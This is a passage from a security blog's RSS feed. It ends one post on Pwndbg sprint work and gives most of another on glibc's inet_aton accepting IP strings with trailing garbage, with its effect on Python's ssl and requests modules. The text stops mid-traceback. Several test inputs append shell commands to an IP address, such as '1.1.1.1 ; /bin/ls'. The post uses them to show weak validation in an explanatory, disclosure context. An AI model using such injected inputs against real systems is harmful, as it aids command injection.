&lt;p&gt;On the EP sprint, since we were just a group of four, we focused on small improvements to the codebase. In total, we did the following:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/pwndbg/pwndbg/pull/1030&quot;&gt;reviewed and merged the fs/gs_base fetching improvement PR&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/pwndbg/pwndbg/pull/1033&quot;&gt;pinned the project’s dependencies&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/pwndbg/pwndbg/pull/1034&quot;&gt;updated the unicorn dependency version&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/pwndbg/pwndbg/pull/1036&quot;&gt;added a “tip of the day” feature&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/pwndbg/pwndbg/pull/1037&quot;&gt;improved the UX of using Pwndbg within a Python virtual environment&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;and also &lt;a href=&quot;https://github.com/pwndbg/pwndbg/pull/1038&quot;&gt;worked on enhancing the display of arguments when stopping on a call to the printf functions family&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The last item from the list was the hardest to jump on and it still requires enhancements until it is merged. Nonetheless, all of this was a nice outcome from the whole sprint :).&lt;/p&gt;

&lt;p&gt;On the second sprint, while we were a bigger group, we had much more limited time (since instead of having ~8 hours, we had just a few). Anyway, we were able to do the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/pwndbg/pwndbg/pull/1052&quot;&gt;Cleanup some code leftover after dropping Python 2 support&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/pwndbg/pwndbg/pull/1058&quot;&gt;Added documentation on how to debug Pwndbg using PyCharm remote debugging&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;Reviewed and merged the PRs that &lt;a href=&quot;https://github.com/pwndbg/pwndbg/pull/1051&quot;&gt;sets &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$base_heap&lt;/code&gt; variable&lt;/a&gt; and &lt;a href=&quot;https://github.com/pwndbg/pwndbg/pull/1053&quot;&gt;a tip for it&lt;/a&gt;, which may be useful for heap exploitation,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/pwndbg/pwndbg/pull/1054&quot;&gt;Fix the X30 register display on AARCH64 targets&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/pwndbg/pwndbg/pull/1055&quot;&gt;Fix &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;context args&lt;/code&gt; display when PC/IP register pointed to unmapped memory&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/pwndbg/pwndbg/pull/1057&quot;&gt;Fixed the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xor&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memfrob&lt;/code&gt; commands and added tests for them (! :D)&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/pwndbg/pwndbg/pull/1056&quot;&gt;Worked on adding a way to dump memory that can be copied right away as C or Python code&lt;/a&gt; (this needs to be changed to a command flag),&lt;/li&gt;
  &lt;li&gt;Investigated a &lt;a href=&quot;https://github.com/pwndbg/pwndbg/issues/1050&quot;&gt;potential parsing issue&lt;/a&gt;, even looking at GDB’s command parsing source code, &lt;a href=&quot;https://github.com/pwndbg/pwndbg/pull/1062&quot;&gt;implemented potential patch&lt;/a&gt;, which only later turned out to be redundant and the issue to be invalid.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;summary-and-whats-next&quot;&gt;Summary and what’s next?&lt;/h2&gt;

&lt;p&gt;Organizing those sprints helped me to get back to develop the Pwndbg project more and and attract more people to contribute to it. I also think that more conferences should have this kind of attractions (similarly as more conferences should have lightning talk sessions, heh).&lt;/p&gt;

&lt;p&gt;Regarding the Pwndbg sprints, I am organizing another one this week in Cracow on Tuesday, so if you live nearby and are interested in learning about Pwndbg or contributing to the project, feel invited! :)&lt;/p&gt;

&lt;p&gt;PS: Thanks a lot to &lt;a href=&quot;https://twitter.com/arturcygan&quot;&gt;@arturcygan&lt;/a&gt; for reviewing this blog post.&lt;/p&gt;

</description>
        <pubDate>Sun, 21 Aug 2022 22:13:37 +0200</pubDate>
        <link>https://disconnect3d.pl//2022/08/21/pwndbg-coding-sprints/</link>
        <guid isPermaLink="true">https://disconnect3d.pl//2022/08/21/pwndbg-coding-sprints/</guid>
        
        <category>pwndbg,</category>
        
        <category>conferences</category>
        
        
      </item>
    
      <item>
        <title>Terrible inet_aton in glibc</title>
        <description>&lt;p&gt;TLDR: The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;man inet_aton&lt;/code&gt; states that “&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;inet_aton()&lt;/code&gt; returns nonzero if the address is valid, zero if not” …and so it is sometimes used to check if a string is a valid IP address. &lt;strong&gt;Which should be fine, but isn’t, because some implementations are weird&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Let’s see an example C program, that has been linked with glibc and let’s run it on Linux:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;arpa/inet.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;in_addr&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;inet_aton&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;inet_aton(&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;) = %d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;//  inet_aton(const char *cp, struct in_addr *pin);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1.2.3.4&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1.2.3.4;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1.2.3.4;ls&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1.2.3.4 &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1.2.3.4 ;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1.2.3.4 ;ls&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1.2.3.4 whyyyyyyy this works&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And the output:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ uname -a
Linux 4.15.0-109-generic #110-Ubuntu SMP Tue Jun 23 02:39:32 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

$ gcc --version | head -n1
gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0

$ gcc inet_aton.c -o inet_aton &amp;amp;&amp;amp; ./inet_aton
inet_aton(&quot;1.2.3.4&quot;) = 1
inet_aton(&quot;1.2.3.4;&quot;) = 0
inet_aton(&quot;1.2.3.4;ls&quot;) = 0
inet_aton(&quot;1.2.3.4 &quot;) = 1
inet_aton(&quot;1.2.3.4 ;&quot;) = 1
inet_aton(&quot;1.2.3.4 ;ls&quot;) = 1
inet_aton(&quot;1.2.3.4 whyyyyyyy this works&quot;) = 1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As we can see, glibc’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;inet_aton&lt;/code&gt; will result 1 for strings that starts with valid IP addresses but ends with some garbage.
I have found an explanation for it on &lt;a href=&quot;https://sourceware.org/bugzilla/show_bug.cgi?id=20018&quot;&gt;glibc issue 20018 written by Florian Weimer&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;This flexible behaviour is allowed because it makes parsing space-separated lists of addresses (as C strings) easier to manage. You advance the pointer between the address blocks and call inet_aton. In this case getaddrinfo uses inet_aton to determine the validity of the input string, and so considers “127.0.0.1\r\nspam” a valid name parameter and it is immediately converted into the address structure for 127.0.0.1.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This behavior is also mentioned by &lt;a href=&quot;https://bugzilla.redhat.com/show_bug.cgi?id=1347549&quot;&gt;RedHat Bugzilla Bug 1347549&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Despite there is a reason for this behavior, I don’t think it is good to have it and it is a shame it isn’t documented properly in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;inet_aton (2)&lt;/code&gt; manual page.&lt;/p&gt;

&lt;h3 id=&quot;how-do-other-projects-use-that&quot;&gt;How do other projects use that?&lt;/h3&gt;

&lt;p&gt;I have made some research in 2019 where I looked at some open source projects and found out it was used in Python’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssl&lt;/code&gt; builtin module and in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;requests&lt;/code&gt; package.
Let’s see how they used it.&lt;/p&gt;

&lt;h4 id=&quot;pythons-ssl-module&quot;&gt;Python’s ssl module&lt;/h4&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssl&lt;/code&gt; module uses &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;inet_aton&lt;/code&gt; in its &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;match_hostname&lt;/code&gt; function, that checks if a given hostname matches ssl cert.&lt;/p&gt;

&lt;p&gt;While I was not sure if this was an exploitable bug, I and my friend &lt;a href=&quot;https://twitter.com/reaperhulk&quot;&gt;Paul Kehrer&lt;/a&gt; reported this bug to the Python Security Response Team (PSRT) and it has been fixed in &lt;a href=&quot;https://github.com/python/cpython/pull/14499&quot;&gt;CPython’s PR 14499&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;An example showing this issue can be seen below.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;In&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;ssl&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;In&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cert&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;subjectAltName&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;IP Address&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;1.1.1.1&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),)}&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;In&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;match_hostname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;1.1.1.1&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;In&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;match_hostname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;1.1.1.2&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;---------------------------------------------------------------------------&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;SSLCertVerificationError&lt;/span&gt;                  &lt;span class=&quot;n&quot;&gt;Traceback&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;most&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;recent&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;last&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipython&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c3754a67e0d&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;----&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;match_hostname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;1.1.1.2&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;usr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lib&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;python3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;py&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;match_hostname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hostname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;325&lt;/span&gt;         &lt;span class=&quot;k&quot;&gt;raise&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CertificateError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;hostname %r &quot;&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;326&lt;/span&gt;             &lt;span class=&quot;s&quot;&gt;&quot;doesn&apos;t match %r&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;--&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;327&lt;/span&gt;             &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hostname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dnsnames&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;328&lt;/span&gt;     &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;329&lt;/span&gt;         &lt;span class=&quot;k&quot;&gt;raise&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CertificateError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;no appropriate commonName or &quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;SSLCertVerificationError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;hostname &apos;1.1.1.2&apos; doesn&apos;t match &apos;1.1.1.1&apos;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;In&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;match_hostname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;1.1.1.1 ; /bin/ls this works&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;In&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# yes, it passed the check!
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;python-requests-library&quot;&gt;Python requests library&lt;/h4&gt;

&lt;p&gt;In Python’s requests module, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;inet_aton&lt;/code&gt; is used in utils in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;address_in_network&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;is_ipv4_address&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;is_valid_cidr&lt;/code&gt; functions:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;In&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;requests&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;In&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;utils&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;address_in_network&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;1.1.1.1&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;1.1.1.1/24&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;In&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;utils&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;address_in_network&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;1.1.1.1wtf&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;1.1.1.1/24&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;---------------------------------------------------------------------------&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;OSError&lt;/span&gt;                                   &lt;span class=&quot;n&quot;&gt;Traceback&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;most&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;recent&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;last&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipython&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ca74bb828961&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
